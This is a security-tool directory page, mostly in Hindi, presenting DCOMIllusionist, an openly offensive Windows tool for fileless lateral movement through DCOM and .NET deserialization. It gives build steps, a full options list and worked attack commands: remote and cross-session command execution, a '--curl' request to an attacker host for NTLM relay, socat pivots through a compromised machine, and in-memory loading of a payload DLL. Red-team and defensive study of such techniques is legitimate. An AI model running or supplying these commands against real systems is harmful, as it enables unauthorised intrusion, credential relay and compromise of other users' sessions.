Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
DCOMIllusionist — DCOM इन-मेमोरी और फाइललेस लेटरल मूवमेंट तकनीकें .Net डिसीरियलाइज़ेशन के माध्यम से | Kitploit
उपकरण/GitHubGitHub/synacktiv/dcomillusionist
विशेषाधिकार वृद्धिशोषणपार्श्व आंदोलनपोस्ट-शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलप्रमाणीकरणरेड टीमिंगरिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubsynacktiv/dcomillusionist
28333103 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

DCOMIllusionist

DCOM इन-मेमोरी और फाइललेस लेटरल मूवमेंट तकनीकें .Net डिसीरियलाइज़ेशन के माध्यम से

रिपॉजिटरी देखें
🎩✨🪄

DCOMIllusionist

विंडोज़ फ़ाइललेस लेटरल मूवमेंट तकनीक।

परिचय  •  निर्माण  •  उपयोग  •  तकनीकी विवरण  •  आभार


परिचय

यह टूल आपको विंडोज़ मशीन पर रिमोट कोड निष्पादन की सुविधा देता है, बशर्ते आपके पास व्यवस्थापकीय विशेषाधिकार हों। यह DCOM और .NET DCOM सर्वरों के व्यवहार का लाभ उठाता है, जो आने वाली वस्तुओं को स्वचालित रूप से डिसीरियलाइज़ करते हैं। इससे डिस्क पर कुछ भी लिखे बिना मनमाने कमांड निष्पादित करना या DLL लोड करना संभव हो जाता है।

मूल रूप से जेम्स फोरशॉ द्वारा एक विशेषाधिकार वृद्धि तकनीक के रूप में खोजी गई, यह विधि विशिष्ट रजिस्ट्री कुंजियों को दूरस्थ रूप से संशोधित करके पार्श्व गति के लिए अनुकूलित की गई थी। इसके अतिरिक्त, यह DCOM के माध्यम से क्रॉस-सेशन शोषण का समर्थन करता है, जिससे किसी अन्य उपयोगकर्ता सत्र के भीतर उस सत्र के सुरक्षा संदर्भ में मनमाने कमांड निष्पादित किए जा सकते हैं।

यह वर्कस्टेशन और सर्वर दोनों पर काम करता है, लेकिन इस तकनीक के काम करने के लिए लक्ष्य मशीन और हमलावर-नियंत्रित मशीन के बीच नेटवर्क पहुँच आवश्यक है।

अधिक विवरण इस अनुभाग में।

निर्माण

एक रिलीज़ उपलब्ध है, या आप इसे मैन्युअल रूप से बना सकते हैं:

PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64

उपयोग

PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>

[!IMPORTANT]
इस टूल का सफलतापूर्वक उपयोग करने के लिए हमलावर होस्ट (एक उन्नत शेल के माध्यम से) और लक्ष्य मशीन दोनों पर व्यवस्थापकीय पहुँच आवश्यक है।

Usage:
  DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)

Options:
  -h, --help                        Show this help message and exit
  -d, --debug                       Enable debug logging
  -t, --target <value>              Set the target hostname or IP
  -p, --port <value>                Set the target port (Default: 49765)
      --clsid <value>               Specify a CLSID (no curly braces)
      --appid <value>               Specify an AppID (no curly braces)
  -s, --session <value>             Provide a session identifier
   -l --listen <host>               Specify listener FQDN or IP
  -g, --gadget <value>              Specify gadget to use
      --attacker-sid <value>        Set the attacker's SID
      --no-port-check               Disable port availability check
      --restore-backup <path>       Restore registry from backup
      --local-registry-only         Only performs local registry modifications
      --remote-registry-only        Only performs remote registry modifications
      --skip-local-registry-setup   Skip local registry setup
      --skip-remote-registry-setup  Skip remote registry setup
      --hku                         Perform remote registry operations on HKCU instead of HKLM
      --fake-clsid                  Create fake CLSID with fake AppId

Attacks:
      --ps-exec <args>              Execute a command remotely using PSExec
      --exec <cmd>                  Execute a command remotely
      --exec-args <args>            Args to pass to the command
      --curl <url>                  Use curl-style web request payload
      --file-write-src <src>        File to write
      --file-write-dst <dst>        Destination path
      --load-dll <path>             Load a DLL into the remote process
      --dll-class <value>           Class in the DLL to execute (including namespace)
      --dll-method <value>          Static Method in the class to execute (Default: Run)
      --yso-b64 <b64>               Execute base64-encoded ysoserial payload
      --test-network                Check network access from target to attacker machine
      --list-sessions               List interactive sessions on the target

Examples:
    DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge           (Default)
    2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider   (Default)
    63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings                            (Interactive user)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory                               (Interactive user)

--session

जैसा कि पहले बताया गया है, किसी अन्य उपयोगकर्ता के सत्र में मनमाना कमांड निष्पादित करने के लिए एक सत्र निर्दिष्ट किया जा सकता है।

[!WARNING] यह केवल उन AppID के साथ काम करता है जो इंटरैक्टिव उपयोगकर्ता की पहचान के अंतर्गत चलने के लिए कॉन्फ़िगर की गई हैं। यह स्वचालित रूप से संभाला जाता है; --appid तर्क निर्दिष्ट करने की आवश्यकता नहीं है, क्योंकि टूल डिफ़ॉल्ट रूप से यूज़र अकाउंट कंट्रोल सेटिंग्स से संबद्ध AppID का उपयोग करेगा।

[!IMPORTANT] यह केवल तभी काम करता है जब हमलावर मशीन किसी डोमेन से जुड़ी हो, अधिक विवरण यहाँ।

--list-sessions

WTSEnumerateSessions का उपयोग करके लक्ष्य पर दूरस्थ इंटरैक्टिव और सक्रिय सत्रों की सूची बनाएं।

--listen

यदि लक्ष्य मशीन सीधे हमलावर के होस्ट तक नहीं पहुँच सकती, तो शोषण विफल हो जाएगा। हालाँकि, एक मध्यवर्ती मशीन निर्दिष्ट करना संभव है जिससे लक्ष्य जुड़ सकता है। सोकैट (socat) जैसे टूल का उपयोग करके, ट्रैफ़िक को इस मध्यस्थ से हमलावर के होस्ट तक रिले किया जा सकता है।

listen

  • समझौता की गई मशीन पर:
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
  • हमलावर मशीन पर:
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami

--attacker-sid

जब शोषण को runas /netonly शेल से चलाया जाता है, तो संबद्ध पहचान स्वचालित रूप से प्राप्त नहीं की जा सकती। इसलिए, आक्रमण के सफल होने के लिए --attacker-sid विकल्प का उपयोग करके इसे स्पष्ट रूप से प्रदान करना आवश्यक है।

--exec

--exec का उपयोग --exec-args के साथ लक्ष्य पर मनमाने बाइनरी निष्पादित करने के लिए किया जा सकता है:

PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"

[!NOTE] --ps-exec उसी का एक रैपर मात्र है; वही परिणाम इस प्रकार प्राप्त किया जा सकता है: --ps-exec calc

--curl

Curl क्रॉस-सेशन शोषण परिदृश्यों में उपयोगी हो सकता है। यदि आपके पास किसी मशीन पर व्यवस्थापकीय विशेषाधिकार हैं और, उदाहरण के लिए, सत्र 3 में एक डोमेन व्यवस्थापक सक्रिय है, तो उस उपयोगकर्ता की ओर से पूरी तरह से .NET के माध्यम से एक प्रमाणित HTTP अनुरोध शुरू करना संभव है। इस अनुरोध को ntlmrelayx.py चला रही हमलावर-नियंत्रित मशीन पर निर्देशित करके, उपयोगकर्ता से समझौता करने के लिए पारंपरिक NTLM रिले आक्रमण किए जा सकते हैं।

PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local

--load-dll

किसी भी मनमाने DLL को डिस्क को छुए बिना पूरी तरह से मेमोरी में लोड करना संभव है। उदाहरण के लिए:

// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;

public class Payload
{
  public static void Run()
  {
    Process.Start("calc");
  }
}
टूल डाउनलोड करें